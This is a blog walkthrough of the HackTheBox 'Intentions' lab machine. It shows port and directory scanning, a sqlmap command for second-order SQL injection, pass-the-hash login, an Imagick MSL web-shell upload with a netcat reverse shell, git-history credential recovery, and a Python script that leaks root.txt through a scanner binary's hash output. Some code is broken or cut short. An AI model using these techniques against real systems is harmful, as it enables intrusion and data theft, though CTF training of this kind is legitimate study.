Intentions HackTheBox Walkthrough

8 min readJun 18, 2024


Hey, fellow Hackers! Today, we’re going to dive into the Intentions HackTheBox Machine. Let’s jump right in and have some fun!


Let’ start with scanning target ip using nmap

nmap -F -sV


Nmap scan report for intentions.htb (
Host is up (0.32s latency).
Not shown: 98 closed tcp ports (reset)
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We got two open port i.e. 80 and 22

Accessing and Enumerating Port 80

Before doing anything i added intentions.htb inside /etc/hosts file.

After accessing website we got a login and registration form.

I started directory enumeration using dirb

dirb http://intentions.htb/


I tried accessing them one by one, robots.txt is empty and for other we had to login into a account. I register a new user and login into account.

Here we got some section like profile etc. Here i started enumerating .js file for found admin directory using dirb tool

dirb http://intentions.htb/js/ -X .js


---- Scanning URL: http://intentions.htb/js/ ----
+ http://intentions.htb/js/admin.js (CODE:200|SIZE:311246)
+ http://intentions.htb/js/app.js (CODE:200|SIZE:433792)
+ http://intentions.htb/js/gallery.js (CODE:200|SIZE:310841)
+ http://intentions.htb/js/login.js (CODE:200|SIZE:279176)
+ http://intentions.htb/js/mdb.js (CODE:200|SIZE:153684)

Here we got some js files i tried accessing admin.js using curl

curl http://intentions.htb/js/admin.js

and at the end of this result i found some text message inside code

i copy below script code and on google i search for online javascript beautifier for formating this code and got a website :

here i added this script code and beautify this code and then we can able to see this in much better format

Messages we found:

Recently we ‘ve had some copyrighted images slip through onto the gallery. This could turn into a big issue for us so we are putting a new process in place that all new images must go through our legal council for approval. Any new images you would like to add to the gallery should be provided to legal with all relevant copyright information.

I’ve assigned Greg to setup a process for legal to transfer approved images directly to the server to avoid any confusion or mishaps.\n This will be the only way to add images to our gallery going forward.

Hey team, I ‘ve deployed the v2 API to production and have started using it in the admin section. Let me know if you spot any bugs.

This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text!

By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.

This should take care of the concerns raised by our users regarding our lack of HTTPS connection.

The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I’ve included some examples on the image editing page, but feel free to browse all of the available effects
for the module and suggest some:

Now we know there is user named as greg a v2 API in production and Password hashing client side with BCrypt.

Then i load my burpsuite for analysing all web page, After going through all page on by one i found there’s a input section in profile section

Here i tried bunch of sql payloads and finally discover a payload that working :


after adding when i go to feed section i get time delay.

I capture both request in burpsuite and store in different file named as req.txt and req2.txt that’s i am going to specify in sqlmap tool :)

sqlmap -r req.txt --second-req req2.txt --tamper=space2comment --random-agent --batch --dump -T users -D intentions

I have both user’s password hash but not able to crack them. As we know we found in admin.js that in v2 API password no longer need to be transmitted to the server in clear text so i decide to trasmit hash for authentication as other user

While logging into the web app i send post request to /api/v2/auth/login with a json payload containing user credentials

and boom we able to access steve user

with this account we can access to /admin directory that we found before


We can see there is a new image button:

We can view different images and apply filters too

Intercepting filters with burpsuite we got the following request.

We know that they are using imagick php library for these cool filter effects i tried searching for this exploit and found a version of imagick that suffer from a vulnerability known as “ImageTragick”.

I tried bunch of things including using online available ImageTragick exploit etc. But didn’t work :(

Later i found a POC that we can use to move further:

Steps to get Shell:

Above blog POC discusses a method for uploading a php web shell by exploiting a vulnerability in MSL “Magick Scripting Language”.

I combine everything in one request and uploaded a web shell named as doge.php :)


After getting result of our php web shell i open up my netcat listner on port 8000

rlwrap nc -nvlp 8000

and i change the request method from get to post for gaining reverse shell

POST /doge.php HTTP/1.1

Host: intentions.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

DNT: 1

Connection: close

Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vaW50ZW50aW9ucy5odGIvYXBpL3YyL2F1dGgvbG9naW4iLCJpYXQiOjE3MTg2MjMxOTQsImV4cCI6MTcxODY0NDc5NCwibmJmIjoxNzE4NjIzMTk0LCJqdGkiOiJXTVk4Tm5FUWtsYklJSmZJIiwic3ViIjoiMSIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.udALEmZs9YxOJ-8lZrIpPFCl7kCU-yQdaGXx9Mv51Hk; XSRF-TOKEN=eyJpdiI6IlBnOEVoSDV5NHJMWVRBaU9mRmpKT3c9PSIsInZhbHVlIjoiY3RuTFB3d3NIMDdUZUdrRjd0RW5mZEtPdHVTWmdjVkRyVTNsbVBleHBnWGUrM0srbFRIR1pzbzR1Z2d0eE40dThUa253U3FZcG5OM1htNG9rck5MSU5mUkJkREUvY3k0Rk1LUkIyL3FFMUlyZnpRM0JOSktFVXpSd09Renc3dDMiLCJtYWMiOiI3YTA1YzUzY2U4YjZkOWUwY2E3MzA2ZTVlMGUyODQ2Mjg4YTFmNGFiODA3M2YxMmUzYTZiOTA1ZDBlMGQyMDgxIiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6Imp1bTd0ajFyYmJ4Y0NQU20yK0srbkE9PSIsInZhbHVlIjoiclRyZy9BWUZ6SGhpeW1iUGNpeldoVGI2eGVTRjVzcTVqWGZQZTMzd3gwcWRNbGk3UExOaWdGakQxdnByeERBYml5RHJkWmJEZG1tcmEvaFJIaTBDK3A4YkVmZWVhZEtRT1pkWE5OWVlGTDVXamNIbktkWFpyb3BhZEJQTzh6UVEiLCJtYWMiOiIzN2U1MTJjNzFhMDQ4NTAyZjgwOGE4Mjk1Y2YwYWI1NWM5ZWRmMTljOWIwYjRhNDQzMWJhZWMyZDMzMWExMGYyIiwidGFnIjoiIn0%3D

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 59


and in response i get www-data shell :)

Then i gain tty shell using python

python3 -c 'import pty;pty.spawn("/bin/bash")'

After little bit enumeration i find a .git directory inside /html/intentions

For downloading this file in our local system i first create a copy of this .git directory inside /tmp

cp -r .git/ /tmp/

Then i create a .tar archive using tar

tar -cf git.tar .git

and finally i move this file inside public directory so we can download this using wget

www-data@intentions:~/html/intentions/public$ mv /tmp/git.tar .
mv /tmp/git.tar .

For downloading


then i extract this tar file

tar -xvf git.tar

and using git log i found something interesting

Using git diff option i found greg user password

Then using ssh i access this user shell

in current directory i found user.txt with some other script and .txt file

greg@intentions:~$ ls dmca_hashes.test user.txt

after reading its content i found out it’s using a binary /opt/scanner/scanner

and this is what scanner binary do

greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.

Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}

-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h

The scanner tool identify copyrighted material by evaluating files or directories against a known blacklist of hashes. It calculates the MD5 hash of the file contents and compares it to those provided in the hash file.

We can use this tool to read the contents of files

greg@intentions:~$ /opt/scanner/scanner -c /root/root.txt -l 1 -p -s abcd
[DEBUG] /root/root.txt has hash 45c48cce2e2d7fbdea1afc51c7c6ad26

In above command we define /root.txt file that we wanna read with -l flag for max bytes of the file to be hashed, with debug and finally we provide something to check against, that can be anything.

If we decrypt the value of output hash we get 9 value that can be first character of that file. We can automate this process by writing a script :)

I write a python script that give me root flag

import hashlib
import subprocess

charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
result = ""

def get_hash(pos, file):
command = ["/opt/scanner/scanner", "-c", file, "-l", str(pos), "-p", "-s", "aaaa"]
process =, capture_output=True, text=True)
output = process.stdout.strip()
return output.split()[-1]

def find_char(temp_hash):
global result
for ch in charset:
test_data = result + ch
current_hash = hashlib.md5(test_data.encode()).hexdigest()
if temp_hash == current_hash:
return ch
return ""

def main():
file = input("File: ")
pos = 1

while True:
temp_hash = get_hash(pos, file)
new_char = find_char(temp_hash)
if not new_char:
global result
result += new_char
pos += 1


if __name__ == "__main__":

BOOOMM!! Intention solved successfully :)

Happy Hacking :)

Follow For More: Instagram, LinkedIn




D3athCod3 is a CTF team dedicated to honing and showcasing top-tier cybersecurity skills.